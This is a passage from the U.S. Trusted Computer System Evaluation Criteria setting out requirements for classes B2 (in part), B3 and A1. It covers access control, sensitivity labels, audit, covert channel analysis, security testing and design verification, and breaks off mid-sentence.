TO SEPARATE THOSE ELEMENTS THAT ARE PROTECTION-CRITICAL FROM THOSE THAT ARE NOT. THE TCB MODULES SHALL BE DESIGNED SUCH THAT THE PRINCIPLE OF LEAST PRIVILEGE IS ENFORCED. FEATURES IN HARDWARE, SUCH AS SEGMENTATION, SHALL BE USED TO SUPPORT LOGICALLY DISTINCT STORAGE OBJECTS WITH SEPARATE ATTRIBUTES (NAMELY: READABLE, WRITEABLE). THE USER INTERFACE TO THE TCB SHALL BE COMPLETELY DEFINED AND ALL ELEMENTS OF THE TCB IDENTIFIED. 3.2.3.1.2 System Integrity Hardware and/or software features shall be provided that can be used to periodically validate the correct operation of the on-site hardware and firmware elements of the TCB. 3.2.3.1.3 Covert Channel Analysis THE SYSTEM DEVELOPER SHALL CONDUCT A THOROUGH SEARCH FOR COVERT STORAGE CHANNELS AND MAKE A DETERMINATION (EITHER BY ACTUAL MEASUREMENT OR BY ENGINEERING ESTIMATION) OF THE MAXIMUM BANDWIDTH OF EACH IDENTIFIED CHANNEL. (SEE THE COVERT CHANNELS GUIDELINE SECTION.) 3.2.3.1.4 Trusted Facility Management THE TCB SHALL SUPPORT SEPARATE OPERATOR AND ADMINISTRATOR FUNCTIONS. 3.2.3.2 Life-Cycle Assurance 3.2.3.2.1 Security Testing The security mechanisms of the ADP system shall be tested and found to work as claimed in the system documentation. A team of individuals who thoroughly understand the specific implementation of the TCB shall subject its design documentation, source code, and object code to thorough analysis and testing. Their objectives shall be: to uncover all design and implementation flaws that would permit a subject external to the TCB to read, change, or delete data normally denied under the mandatory or discretionary security policy enforced by the TCB; as well as to assure that no subject (without authorization to do so) is able to cause the TCB to enter a state such that it is unable to respond to communications initiated by other users. THE TCB SHALL BE FOUND RELATIVELY RESISTANT TO PENETRATION. All discovered flaws shall be CORRECTED and the TCB retested to demonstrate that they have been eliminated and that new flaws have not been introduced. TESTING SHALL DEMONSTRATE THAT THE TCB IMPLEMENTATION IS CONSISTENT WITH THE DESCRIPTIVE TOP-LEVEL SPECIFICATION. (See the Security Testing Guidelines.) 3.2.3.2.2 Design Specification and Verification A FORMAL model of the security policy supported by the TCB shall be maintained that is PROVEN consistent with its axioms. A DESCRIPTIVE TOP-LEVEL SPECIFICATION (DTLS) OF THE TCB SHALL BE MAINTAINED THAT COMPLETELY AND ACCURATELY DESCRIBES THE TCB IN TERMS OF EXCEPTIONS, ERROR MESSAGES, AND EFFECTS. IT SHALL BE SHOWN TO BE AN ACCURATE DESCRIPTION OF THE TCB INTERFACE. 3.2.3.2.3 Configuration Management DURING DEVELOPMENT AND MAINTENANCE OF THE TCB, A CONFIGURATION MANAGEMENT SYSTEM SHALL BE IN PLACE THAT MAINTAINS CONTROL OF CHANGES TO THE DESCRIPTIVE TOP-LEVEL SPECIFICATION, OTHER DESIGN DATA, IMPLEMENTATION DOCUMENTATION, SOURCE CODE, THE RUNNING VERSION OF THE OBJECT CODE, AND TEST FIXTURES AND DOCUMENTATION. THE CONFIGURATION MANAGEMENT SYSTEM SHALL ASSURE A CONSISTENT MAPPING AMONG ALL DOCUMENTATION AND CODE ASSOCIATED WITH THE CURRENT VERSION OF THE TCB. TOOLS SHALL BE PROVIDED FOR GENERATION OF A NEW VERSION OF THE TCB FROM SOURCE CODE. ALSO AVAILABLE SHALL BE TOOLS FOR COMPARING A NEWLY GENERATED VERSION WITH THE PREVIOUS TCB VERSION IN ORDER TO ASCERTAIN THAT ONLY THE INTENDED CHANGES HAVE BEEN MADE IN THE CODE THAT WILL ACTUALLY BE USED AS THE NEW VERSION OF THE TCB. 3.2.4 DOCUMENTATION 3.2.4.1 Security Features User's Guide A single summary, chapter, or manual in user documentation shall describe the protection mechanisms provided by the TCB, guidelines on their use, and how they interact with one another. 3.2.4.2 Trusted Facility Manual A manual addressed to the ADP system administrator shall present cautions about functions and privileges that should be controlled when running a secure facility. The procedures for examining and maintaining the audit files as well as the detailed audit record structure for each type of audit event shall be given. The manual shall describe the operator and administrator functions related to security, to include changing the security characteristics of a user. It shall provide guidelines on the consistent and effective use of the protection features of the system, how they interact, how to securely generate a new TCB, and facility procedures, warnings, and privileges that need to be controlled in order to operate the facility in a secure manner. THE TCB MODULES THAT CONTAIN THE REFERENCE VALIDATION MECHANISM SHALL BE IDENTIFIED. THE PROCEDURES FOR SECURE GENERATION OF A NEW TCB FROM SOURCE AFTER MODIFICATION OF ANY MODULES IN THE TCB SHALL BE DESCRIBED. 3.2.4.3 Test Documentation The system developer shall provide to the evaluators a document that describes the test plan and results of the security mechanisms' functional testing. IT SHALL INCLUDE RESULTS OF TESTING THE EFFECTIVENESS OF THE METHODS USED TO REDUCE COVERT CHANNEL BANDWIDTHS. 3.2.4.4 Design Documentation Documentation shall be available that provides a description of the manufacturer's philosophy of protection and an explanation of how this philosophy is translated into the TCB. THE interfaces between THE TCB modules shall be described. A FORMAL description of the security policy model enforced by the TCB shall be available and PROVEN that it is sufficient to enforce the security policy. The specific TCB protection mechanisms shall be identified and an explanation given to show that they satisfy the model. THE DESCRIPTIVE TOP-LEVEL SPECIFICATION (DTLS) SHALL BE SHOWN TO BE AN ACCURATE DESCRIPTION OF THE TCB INTERFACE. DOCUMENTATION SHALL DESCRIBE HOW THE TCB IMPLEMENTS THE REFERENCE MONITOR CONCEPT AND GIVE AN EXPLANATION WHY IT IS TAMPERPROOF, CANNOT BE BYPASSED, AND IS CORRECTLY IMPLEMENTED. DOCUMENTATION SHALL DESCRIBE HOW THE TCB IS STRUCTURED TO FACILITATE TESTING AND TO ENFORCE LEAST PRIVILEGE. THIS DOCUMENTATION SHALL ALSO PRESENT THE RESULTS OF THE COVERT CHANNEL ANALYSIS AND THE TRADEOFFS INVOLVED IN RESTRICTING THE CHANNELS. ALL AUDITABLE EVENTS THAT MAY BE USED IN THE EXPLOITATION OF KNOWN COVERT STORAGE CHANNELS SHALL BE IDENTIFIED. THE BANDWIDTHS OF KNOWN COVERT STORAGE CHANNELS, THE USE OF WHICH IS NOT DETECTABLE BY THE AUDITING MECHANISMS, SHALL BE PROVIDED. (SEE THE COVERT CHANNEL GUIDELINE SECTION.) 3.3 CLASS (B3): SECURITY DOMAINS The class (B3) TCB must satisfy the reference monitor requirements that it mediate all accesses of subjects to objects, be tamperproof, and be small enough to be subjected to analysis and tests. To this end, the TCB is structured to exclude code not essential to security policy enforcement, with significant system engineering during TCB design and implementation directed toward minimizing its complexity. A security administrator is supported, audit mechanisms are expanded to signal security- relevant events, and system recovery procedures are required. The system is highly resistant to penetration. The following are minimal requirements for systems assigned a class (B3) rating: 3.3.1 SECURITY POLICY 3.3.1.1 Discretionary Access Control The TCB shall define and control access between named users and named objects (e.g., files and programs) in the ADP system. The enforcement mechanism (E.G., ACCESS CONTROL LISTS) shall allow users to specify and control sharing of those OBJECTS. The discretionary access control mechanism shall, either by explicit user action or by default, provide that objects are protected from unauthorized access. These access controls shall be capable of SPECIFYING, FOR EACH NAMED OBJECT, A LIST OF NAMED INDIVIDUALS AND A LIST OF GROUPS OF NAMED INDIVIDUALS WITH THEIR RESPECTIVE MODES OF ACCESS TO THAT OBJECT. FURTHERMORE, FOR EACH SUCH NAMED OBJECT, IT SHALL BE POSSIBLE TO SPECIFY A LIST OF NAMED INDIVIDUALS AND A LIST OF GROUPS OF NAMED INDIVIDUALS FOR WHICH NO ACCESS TO THE OBJECT IS TO BE GIVEN. Access permission to an object by users not already possessing access permission shall only be assigned by authorized users. 3.3.1.2 Object Reuse When a storage object is initially assigned, allocated, or reallocated to a subject from the TCB's pool of unused storage objects, the TCB shall assure that the object contains no data for which the subject is not authorized. 3.3.1.3 Labels Sensitivity labels associated with each ADP system resource (e.g., subject, storage object) that is directly or indirectly accessible by subjects external to the TCB shall be maintained by the TCB. These labels shall be used as the basis for mandatory access control decisions. In order to import non- labeled data, the TCB shall request and receive from an authorized user the security level of the data, and all such actions shall be auditable by the TCB. 3.3.1.3.1 Label Integrity Sensitivity labels shall accurately represent security levels of the specific subjects or objects with which they are associated. When exported by the TCB, sensitivity labels shall accurately and unambiguously represent the internal labels and shall be associated with the information being exported. 3.3.1.3.2 Exportation of Labeled Information The TCB shall designate each communication channel and I/O device as either single-level or multilevel. Any change in this designation shall be done manually and shall be auditable by the TCB. The TCB shall maintain and be able to audit any change in the current security level associated with a single-level communication channel or I/O device. 3.3.1.3.2.1 Exportation to Multilevel Devices When the TCB exports an object to a multilevel I/O device, the sensitivity label associated with that object shall also be exported and shall reside on the same physical medium as the exported information and shall be in the same form (i.e., machine-readable or human-readable form). When the TCB exports or imports an object over a multilevel communication channel, the protocol used on that channel shall provide for the unambiguous pairing between the sensitivity labels and the associated information that is sent or received. 3.3.1.3.2.2 Exportation to Single-Level Devices Single-level I/O devices and single-level communication channels are not required to maintain the sensitivity labels of the information they process. However, the TCB shall include a mechanism by which the TCB and an authorized user reliably communicate to designate the single security level of information imported or exported via single-level communication channels or I/O devices. 3.3.1.3.2.3 Labeling Human-Readable Output The ADP system administrator shall be able to specify the printable label names associated with exported sensitivity labels. The TCB shall mark the beginning and end of all human-readable, paged, hardcopy output (e.g., line printer output) with human-readable sensitivity labels that properly* represent the sensitivity of the output. The TCB shall, by default, mark the top and bottom of each page of human-readable, paged, hardcopy output (e.g., line printer output) with human-readable sensitivity labels that properly* represent the overall sensitivity of the output or that properly* represent the sensitivity of the information on the page. The TCB shall, by default and in an appropriate manner, mark other forms of human-readable output (e.g., maps, graphics) with human-readable sensitivity labels that properly* represent the sensitivity of the output. Any override of these marking defaults shall be auditable by the TCB. _____________________________________________________________ * The hierarchical classification component in human-readable sensitivity labels shall be equal to the greatest hierarchical classification of any of the information in the output that the labels refer to; the non-hierarchical category component shall include all of the non-hierarchical categories of the information in the output the labels refer to, but no other non-hierarchical categories. _____________________________________________________________ 3.3.1.3.3 Subject Sensitivity Labels The TCB shall immediately notify a terminal user of each change in the security level associated with that user during an interactive session. A terminal user shall be able to query the TCB as desired for a display of the subject's complete sensitivity label. 3.3.1.3.4 Device Labels The TCB shall support the assignment of minimum and maximum security levels to all attached physical devices. These security levels shall be used by the TCB to enforce constraints imposed by the physical environments in which the devices are located. 3.3.1.4 Mandatory Access Control The TCB shall enforce a mandatory access control policy over all resources (i.e., subjects, storage objects, and I/O devices) that are directly or indirectly accessible by subjects external to the TCB. These subjects and objects shall be assigned sensitivity labels that are a combination of hierarchical classification levels and non-hierarchical categories, and the labels shall be used as the basis for mandatory access control decisions. The TCB shall be able to support two or more such security levels. (See the Mandatory Access Control guidelines.) The following requirements shall hold for all accesses between all subjects external to the TCB and all objects directly or indirectly accessible by these subjects: A subject can read an object only if the hierarchical classification in the subject's security level is greater than or equal to the hierarchical classification in the object's security level and the non-hierarchical categories in the subject's security level include all the non-hierarchical categories in the object's security level. A subject can write an object only if the hierarchical classification in the subject's security level is less than or equal to the hierarchical classification in the object's security level and all the non-hierarchical categories in the subject's security level are included in the non- hierarchical categories in the object's security level. 3.3.2 ACCOUNTABILITY 3.3.2.1 Identification and Authentication The TCB shall require users to identify themselves to it before beginning to perform any other actions that the TCB is expected to mediate. Furthermore, the TCB shall maintain authentication data that includes information for verifying the identity of individual users (e.g., passwords) as well as information for determining the clearance and authorizations of individual users. This data shall be used by the TCB to authenticate the user's identity and to determine the security level and authorizations of subjects that may be created to act on behalf of the individual user. The TCB shall protect authentication data so that it cannot be accessed by any unauthorized user. The TCB shall be able to enforce individual accountability by providing the capability to uniquely identify each individual ADP system user. The TCB shall also provide the capability of associating this identity with all auditable actions taken by that individual. 3.3.2.1.1 Trusted Path The TCB shall support a trusted communication path between itself and USERS for USE WHEN A POSITIVE TCB-TO- USER CONNECTION IS REQUIRED (E.G., LOGIN, CHANGE SUBJECT SECURITY LEVEL). Communications via this TRUSTED path shall be ACTIVATED exclusively by a user OR THE TCB AND SHALL BE LOGICALLY ISOLATED AND UNMISTAKABLY DISTINGUISHABLE FROM OTHER PATHS. 3.3.2.2 Audit The TCB shall be able to create, maintain, and protect from modification or unauthorized access or destruction an audit trail of accesses to the objects it protects. The audit data shall be protected by the TCB so that read access to it is limited to those who are authorized for audit data. The TCB shall be able to record the following types of events: use of identification and authentication mechanisms, introduction of objects into a user's address space (e.g., file open, program initiation), deletion of objects, and actions taken by computer operators and system administrators and/or system security officers. The TCB shall also be able to audit any override of human-readable output markings. For each recorded event, the audit record shall identify: date and time of the event, user, type of event, and success or failure of the event. For identification/authentication events the origin of request (e.g., terminal ID) shall be included in the audit record. For events that introduce an object into a user's address space and for object deletion events the audit record shall include the name of the object and the object's security level. The ADP system administrator shall be able to selectively audit the actions of any one or more users based on individual identity and/or object security level. The TCB shall be able to audit the identified events that may be used in the exploitation of covert storage channels. THE TCB SHALL CONTAIN A MECHANISM THAT IS ABLE TO MONITOR THE OCCURRENCE OR ACCUMULATION OF SECURITY AUDITABLE EVENTS THAT MAY INDICATE AN IMMINENT VIOLATION OF SECURITY POLICY. THIS MECHANISM SHALL BE ABLE TO IMMEDIATELY NOTIFY THE SECURITY ADMINISTRATOR WHEN THRESHOLDS ARE EXCEEDED. 3.3.3 ASSURANCE 3.3.3.1 Operational Assurance 3.3.3.1.1 System Architecture The TCB shall maintain a domain for its own execution that protects it from external interference or tampering (e.g., by modification of its code or data structures). The TCB shall maintain process isolation through the provision of distinct address spaces under its control. The TCB shall be internally structured into well-defined largely independent modules. It shall make effective use of available hardware to separate those elements that are protection-critical from those that are not. The TCB modules shall be designed such that the principle of least privilege is enforced. Features in hardware, such as segmentation, shall be used to support logically distinct storage objects with separate attributes (namely: readable, writeable). The user interface to the TCB shall be completely defined and all elements of the TCB identified. THE TCB SHALL BE DESIGNED AND STRUCTURED TO USE A COMPLETE, CONCEPTUALLY SIMPLE PROTECTION MECHANISM WITH PRECISELY DEFINED SEMANTICS. THIS MECHANISM SHALL PLAY A CENTRAL ROLE IN ENFORCING THE INTERNAL STRUCTURING OF THE TCB AND THE SYSTEM. THE TCB SHALL INCORPORATE SIGNIFICANT USE OF LAYERING, ABSTRACTION AND DATA HIDING. SIGNIFICANT SYSTEM ENGINEERING SHALL BE DIRECTED TOWARD MINIMIZING THE COMPLEXITY OF THE TCB AND EXCLUDING FROM THE TCB MODULES THAT ARE NOT PROTECTION-CRITICAL. 3.3.3.1.2 System Integrity Hardware and/or software features shall be provided that can be used to periodically validate the correct operation of the on-site hardware and firmware elements of the TCB. 3.3.3.1.3 Covert Channel Analysis The system developer shall conduct a thorough search for COVERT CHANNELS and make a determination (either by actual measurement or by engineering estimation) of the maximum bandwidth of each identified channel. (See the Covert Channels Guideline section.) 3.3.3.1.4 Trusted Facility Management The TCB shall support separate operator and administrator functions. THE FUNCTIONS PERFORMED IN THE ROLE OF A SECURITY ADMINISTRATOR SHALL BE IDENTIFIED. THE ADP SYSTEM ADMINISTRATIVE PERSONNEL SHALL ONLY BE ABLE TO PERFORM SECURITY ADMINISTRATOR FUNCTIONS AFTER TAKING A DISTINCT AUDITABLE ACTION TO ASSUME THE SECURITY ADMINISTRATOR ROLE ON THE ADP SYSTEM. NON-SECURITY FUNCTIONS THAT CAN BE PERFORMED IN THE SECURITY ADMINISTRATION ROLE SHALL BE LIMITED STRICTLY TO THOSE ESSENTIAL TO PERFORMING THE SECURITY ROLE EFFECTIVELY. 3.3.3.1.5 Trusted Recovery PROCEDURES AND/OR MECHANISMS SHALL BE PROVIDED TO ASSURE THAT, AFTER AN ADP SYSTEM FAILURE OR OTHER DISCONTINUITY, RECOVERY WITHOUT A PROTECTION COMPROMISE IS OBTAINED. 3.3.3.2 Life-Cycle Assurance 3.3.3.2.1 Security Testing The security mechanisms of the ADP system shall be tested and found to work as claimed in the system documentation. A team of individuals who thoroughly understand the specific implementation of the TCB shall subject its design documentation, source code, and object code to thorough analysis and testing. Their objectives shall be: to uncover all design and implementation flaws that would permit a subject external to the TCB to read, change, or delete data normally denied under the mandatory or discretionary security policy enforced by the TCB; as well as to assure that no subject (without authorization to do so) is able to cause the TCB to enter a state such that it is unable to respond to communications initiated by other users. The TCB shall be FOUND RESISTANT TO penetration. All discovered flaws shall be corrected and the TCB retested to demonstrate that they have been eliminated and that new flaws have not been introduced. Testing shall demonstrate that the TCB implementation is consistent with the descriptive top-level specification. (See the Security Testing Guidelines.) NO DESIGN FLAWS AND NO MORE THAN A FEW CORRECTABLE IMPLEMENTATION FLAWS MAY BE FOUND DURING TESTING AND THERE SHALL BE REASONABLE CONFIDENCE THAT FEW REMAIN. 3.3.3.2.2 Design Specification and Verification A formal model of the security policy supported by the TCB shall be maintained that is proven consistent with its axioms. A descriptive top-level specification (DTLS) of the TCB shall be maintained that completely and accurately describes the TCB in terms of exceptions, error messages, and effects. It shall be shown to be an accurate description of the TCB interface. A CONVINCING ARGUMENT SHALL BE GIVEN THAT THE DTLS IS CONSISTENT WITH THE MODEL. 3.3.3.2.3 Configuration Management During development and maintenance of the TCB, a configuration management system shall be in place that maintains control of changes to the descriptive top-level specification, other design data, implementation documentation, source code, the running version of the object code, and test fixtures and documentation. The configuration management system shall assure a consistent mapping among all documentation and code associated with the current version of the TCB. Tools shall be provided for generation of a new version of the TCB from source code. Also available shall be tools for comparing a newly generated version with the previous TCB version in order to ascertain that only the intended changes have been made in the code that will actually be used as the new version of the TCB. 3.3.4 DOCUMENTATION 3.3.4.1 Security Features User's Guide A single summary, chapter, or manual in user documentation shall describe the protection mechanisms provided by the TCB, guidelines on their use, and how they interact with one another. 3.3.4.2 Trusted Facility Manual A manual addressed to the ADP system administrator shall present cautions about functions and privileges that should be controlled when running a secure facility. The procedures for examining and maintaining the audit files as well as the detailed audit record structure for each type of audit event shall be given. The manual shall describe the operator and administrator functions related to security, to include changing the security characteristics of a user. It shall provide guidelines on the consistent and effective use of the protection features of the system, how they interact, how to securely generate a new TCB, and facility procedures, warnings, and privileges that need to be controlled in order to operate the facility in a secure manner. The TCB modules that contain the reference validation mechanism shall be identified. The procedures for secure generation of a new TCB from source after modification of any modules in the TCB shall be described. IT SHALL INCLUDE THE PROCEDURES TO ENSURE THAT THE SYSTEM IS INITIALLY STARTED IN A SECURE MANNER. PROCEDURES SHALL ALSO BE INCLUDED TO RESUME SECURE SYSTEM OPERATION AFTER ANY LAPSE IN SYSTEM OPERATION. 3.3.4.3 Test Documentation The system developer shall provide to the evaluators a document that describes the test plan and results of the security mechanisms' functional testing. It shall include results of testing the effectiveness of the methods used to reduce covert channel bandwidths. 3.3.4.4 Design Documentation Documentation shall be available that provides a description of the manufacturer's philosophy of protection and an explanation of how this philosophy is translated into the TCB. The interfaces between the TCB modules shall be described. A formal description of the security policy model enforced by the TCB shall be available and proven that it is sufficient to enforce the security policy. The specific TCB protection mechanisms shall be identified and an explanation given to show that they satisfy the model. The descriptive top-level specification (DTLS) shall be shown to be an accurate description of the TCB interface. Documentation shall describe how the TCB implements the reference monitor concept and give an explanation why it is tamperproof, cannot be bypassed, and is correctly implemented. THE TCB IMPLEMENTATION (I.E., IN HARDWARE, FIRMWARE, AND SOFTWARE) SHALL BE INFORMALLY SHOWN TO BE CONSISTENT WITH THE DTLS. THE ELEMENTS OF THE DTLS SHALL BE SHOWN, USING INFORMAL TECHNIQUES, TO CORRESPOND TO THE ELEMENTS OF THE TCB. Documentation shall describe how the TCB is structured to facilitate testing and to enforce least privilege. This documentation shall also present the results of the covert channel analysis and the tradeoffs involved in restricting the channels. All auditable events that may be used in the exploitation of known covert storage channels shall be identified. The bandwidths of known covert storage channels, the use of which is not detectable by the auditing mechanisms, shall be provided. (See the Covert Channel Guideline section.) 4.0 DIVISION A: VERIFIED PROTECTION This division is characterized by the use of formal security verification methods to assure that the mandatory and discretionary security controls employed in the system can effectively protect classified or other sensitive information stored or processed by the system. Extensive documentation is required to demonstrate that the TCB meets the security requirements in all aspects of design, development and implementation. 4.1 CLASS (A1): VERIFIED DESIGN Systems in class (A1) are functionally equivalent to those in class (B3) in that no additional architectural features or policy requirements are added. The distinguishing feature of systems in this class is the analysis derived from formal design specification and verification techniques and the resulting high degree of assurance that the TCB is correctly implemented. This assurance is developmental in nature, starting with a formal model of the security policy and a formal top-level specification (FTLS) of the design. Independent of the particular specification language or verification system used, there are five important criteria for class (A1) design verification: * A formal model of the security policy must be clearly identified and documented, including a mathematical proof that the model is consistent with its axioms and is sufficient to support the security policy. * An FTLS must be produced that includes abstract definitions of the functions the TCB performs and of the hardware and/or firmware mechanisms that are used to support separate execution domains. * The FTLS of the TCB must be shown to be consistent with the model by formal techniques where possible (i.e., where verification tools exist) and informal ones otherwise. * The TCB implementation (i.e., in hardware, firmware, and software) must be informally shown to be consistent with the FTLS. The elements of the FTLS must be shown, using informal techniques, to correspond to the elements of the TCB. The FTLS must express the unified protection mechanism required to satisfy the security policy, and it is the elements of this protection mechanism that are mapped to the elements of the TCB. * Formal analysis techniques must be used to identify and analyze covert channels. Informal techniques may be used to identify covert timing channels. The continued existence of identified covert channels in the system must be justified. In keeping with the extensive design and development analysis of the TCB required of systems in class (A1), more stringent configuration management is required and procedures are established for securely distributing the system to sites. A system security administrator is supported. The following are minimal requirements for systems assigned a class (A1) rating: 4.1.1 SECURITY POLICY 4.1.1.1 Discretionary Access Control The TCB shall define and control access between named users and named objects (e.g., files and programs) in the ADP system. The enforcement mechanism (e.g., access control lists) shall allow users to specify and control sharing of those objects. The discretionary access control mechanism shall, either by explicit user action or by default, provide that objects are protected from unauthorized access. These access controls shall be capable of specifying, for each named object, a list of named individuals and a list of groups of named individuals with their respective modes of access to that object. Furthermore, for each such named object, it shall be possible to specify a list of named individuals and a list of groups of named individuals for which no access to the object is to be given. Access permission to an object by users not already possessing access permission shall only be assigned by authorized users. 4.1.1.2 Object Reuse When a storage object is initially assigned, allocated, or reallocated to a subject from the TCB's pool of unused storage objects, the TCB shall assure that the object contains no data for which the subject is not authorized. 4.1.1.3 Labels Sensitivity labels associated with each ADP system resource (e.g., subject, storage object) that is directly or indirectly accessible by subjects external to the TCB shall be maintained by the TCB. These labels shall be used as the basis for mandatory access control decisions. In order to import non- labeled data, the TCB shall request and receive from an authorized user the security level of the data, and all such actions shall be auditable by the TCB. 4.1.1.3.1 Label Integrity Sensitivity labels shall accurately represent security levels of the specific subjects or objects with which they are associated. When exported by the TCB, sensitivity labels shall accurately and unambiguously represent the internal labels and shall be associated with the information being exported. 4.1.1.3.2 Exportation of Labeled Information The TCB shall designate each communication channel and I/O device as either single-level or multilevel. Any change in this designation shall be done manually and shall be auditable by the TCB. The TCB shall maintain and be able to audit any change in the current security level associated with a single-level communication channel or I/O device. 4.1.1.3.2.1 Exportation to Multilevel Devices When the TCB exports an object to a multilevel I/O device, the sensitivity label associated with that object shall also be exported and shall reside on the same physical medium as the exported information and shall be in the same form (i.e., machine-readable or human-readable form). When the TCB exports or imports an object over a multilevel communication channel, the protocol used on that channel shall provide for the unambiguous pairing between the sensitivity labels and the associated information that is sent or received. 4.1.1.3.2.2 Exportation to Single-Level Devices Single-level I/O devices and single-level communication channels are not required to maintain the sensitivity labels of the information they process. However, the TCB shall include a mechanism by which the TCB and an authorized user reliably communicate to designate the single security level of information imported or exported via single-level communication channels or I/O devices. 4.1.1.3.2.3 Labeling Human-Readable Output The ADP system administrator shall be able to specify the printable label names associated with exported sensitivity labels. The TCB shall mark the beginning and end of all human-readable, paged, hardcopy output (e.g., line printer output) with human-readable sensitivity labels that properly* represent the sensitivity of the output. The TCB shall, by default, mark the top and bottom of each page of human-readable, paged, hardcopy output (e.g., line printer output) with human-readable sensitivity labels that properly* represent the overall sensitivity of the output or that properly* represent the sensitivity of the information on the page. The TCB shall, by default and in an appropriate manner, mark other forms of human-readable output (e.g., maps, graphics) with human-readable sensitivity labels that properly* represent the sensitivity of the output. Any override of these marking defaults shall be auditable by the TCB. ____________________________________________________________________ * The hierarchical classification component in human-readable sensitivity labels shall be equal to the greatest hierarchical classification of any of the information in the output that the labels refer to; the non-hierarchical category component shall include all of the non-hierarchical categories of the information in the output the labels refer to, but no other non-hierarchical categories. ____________________________________________________________________ 4.1.1.3.3 Subject Sensitivity Labels The TCB shall immediately notify a terminal user of each change in the security level associated with that user during an interactive session. A terminal user shall be able to query the TCB as desired for a display of the subject's complete sensitivity label. 4.1.1.3.4 Device Labels The TCB shall support the assignment of minimum and maximum security levels to all attached physical devices. These security levels shall be used by the TCB to enforce constraints imposed by the physical environments in which the devices are located. 4.1.1.4 Mandatory Access Control The TCB shall enforce a mandatory access control policy over all resources (i.e., subjects, storage objects, and I/O devices) that are directly or indirectly accessible by subjects external to the TCB. These subjects and objects shall be assigned sensitivity labels that are a combination of hierarchical classification levels and non-hierarchical categories, and the labels shall be used as the basis for mandatory access control decisions. The TCB shall be able to support two or more such security levels. (See the Mandatory Access Control guidelines.) The following requirements shall hold for all accesses between all subjects external to the TCB and all objects directly or indirectly accessible by these subjects: A subject can read an object only if the hierarchical classification in the subject's security level is greater than or equal to the hierarchical classification in the object's security level and the non-hierarchical categories in the subject's security level include all the non-hierarchical categories in the object's security level. A subject can write an object only if the hierarchical classification in the subject's security level is less than or equal to the hierarchical classification in the object's security level and all the non-hierarchical categories in the subject's security level are included in the non- hierarchical categories in the object's security level. 4.1.2 ACCOUNTABILITY 4.1.2.1 Identification and Authentication The TCB shall require users to identify themselves to it before beginning to perform any other actions that the TCB is expected to mediate. Furthermore, the TCB shall maintain authentication data that includes information for verifying the identity of individual users (e.g., passwords) as well as information for determining the clearance and authorizations of individual users. This data shall be used by the TCB to authenticate the user's identity and to determine the security level and authorizations of subjects that may be created to act on behalf of the individual user. The TCB shall protect authentication data so that it cannot be accessed by any unauthorized user. The TCB shall be able to enforce individual accountability by providing the capability to uniquely identify each individual ADP system user. The TCB shall also provide the capability of associating this identity with all auditable actions taken by that individual. 4.1.2.1.1 Trusted Path The TCB shall support a trusted communication path between itself and users for use when a positive TCB-to- user connection is required (e.g., login, change subject security level). Communications via this trusted path shall be activated exclusively by a user or the TCB and shall be logically isolated and unmistakably distinguishable from other paths. 4.1.2.2 Audit The TCB shall be able to create, maintain, and protect from modification or unauthorized access or destruction an audit trail of accesses to the objects it protects. The audit data shall be protected by the TCB so that read access to it is limited to those who are authorized for audit data. The TCB shall be able to record the following types of events: use of identification and authentication mechanisms, introduction of objects into a user's address space (e.g., file open, program initiation), deletion of objects, and actions taken by computer operators and system administrators and/or system security officers. The TCB shall also be able to audit any override of human-readable output markings. For each recorded event, the audit record shall identify: date and time of the event, user, type of event, and success or failure of the event. For identification/authentication events the origin of request (e.g., terminal ID) shall be included in the audit record. For events that introduce an object into a user's address space and for object deletion events the audit record shall include the name of the object and the object's security level. The ADP system administrator shall be able to selectively audit the actions of any one or more users based on individual identity and/or object security level. The TCB shall be able to audit the identified events that may be used in the exploitation of covert storage channels. The TCB shall contain a mechanism that is able to monitor the occurrence or accumulation of security auditable events that may indicate an imminent violation of security policy. This mechanism shall be able to immediately notify the security administrator when thresholds are exceeded. 4.1.3 ASSURANCE 4.1.3.1 Operational Assurance 4.1.3.1.1 System Architecture The TCB shall maintain a domain for its own execution that protects it from external interference or tampering (e.g., by modification of its code or data structures). The TCB shall maintain process isolation through the provision of distinct address spaces under its control. The TCB shall be internally structured into well-defined largely independent modules. It shall make effective use of available hardware to separate those elements that are protection-critical from those that are not. The TCB modules shall be designed such that the principle of least privilege is enforced. Features in hardware, such as segmentation, shall be used to support logically distinct storage objects with separate attributes (namely: readable, writeable). The user interface to the TCB shall be completely defined and all elements of the TCB identified. The TCB shall be designed and structured to use a complete, conceptually simple protection mechanism with precisely defined semantics. This mechanism shall play a central role in enforcing the internal structuring of the TCB and the system. The TCB shall incorporate significant use of layering, abstraction and data hiding. Significant system engineering shall be directed toward minimizing the complexity of the TCB and excluding from the TCB modules that are not protection-critical. 4.1.3.1.2 System Integrity Hardware and/or software features shall be provided that can be used to periodically validate the correct operation of the on-site hardware and firmware elements of the TCB. 4.1.3.1.3 Covert Channel Analysis The system developer shall conduct a thorough search for COVERT CHANNELS and make a determination (either by actual measurement or by engineering estimation) of the maximum bandwidth of each identified channel. (See the Covert Channels Guideline section.) FORMAL METHODS SHALL BE USED IN THE ANALYSIS. 4.1.3.1.4 Trusted Facility Management The TCB shall support separate operator and administrator functions. The functions performed in the role of a security administrator shall be identified. The ADP system administrative personnel shall only be able to perform security administrator functions after taking a distinct auditable action to assume the security administrator role on the ADP system. Non-security functions that can be performed in the security administration role shall be limited strictly to those essential to performing the security role effectively. 4.1.3.1.5 Trusted Recovery Procedures and/or mechanisms shall be provided to assure that, after an ADP system failure or other discontinuity, recovery without a protection compromise is obtained. 4.1.3.2 Life-Cycle Assurance 4.1.3.2.1 Security Testing The security mechanisms of the ADP system shall be tested and found to work as claimed in the system documentation. A team of individuals who thoroughly understand the specific implementation of the TCB shall subject its design documentation, source code, and object code to thorough analysis and testing. Their objectives shall be: to uncover all design and implementation flaws that would permit a subject external to the TCB to read, change, or delete data normally denied under the mandatory or discretionary security policy enforced by the TCB; as well as to assure that no subject (without authorization to do so) is able to cause the TCB to enter a state such that it is unable to respond to communications initiated by other users. The TCB shall be found resistant to penetration. All discovered flaws shall be corrected and the TCB retested to demonstrate that they have been eliminated and that new flaws have not been introduced. Testing shall demonstrate that the TCB implementation is consistent with the FORMAL top- level specification. (See the Security Testing Guidelines.) No design flaws and no more than a few correctable implementation flaws may be found during testing and there shall be reasonable confidence that few remain. MANUAL OR OTHER MAPPING OF THE FTLS TO THE SOURCE CODE MAY FORM A BASIS FOR PENETRATION TESTING. 4.1.3.2.2 Design Specification and Verification A formal model of the security policy supported by the TCB shall be maintained that is proven consistent with its axioms. A descriptive top-level specification (DTLS) of the TCB shall be maintained that completely and accurately describes the TCB in terms of exceptions, error messages, and effects. A FORMAL TOP-LEVEL SPECIFICATION (FTLS) OF THE TCB SHALL BE MAINTAINED THAT 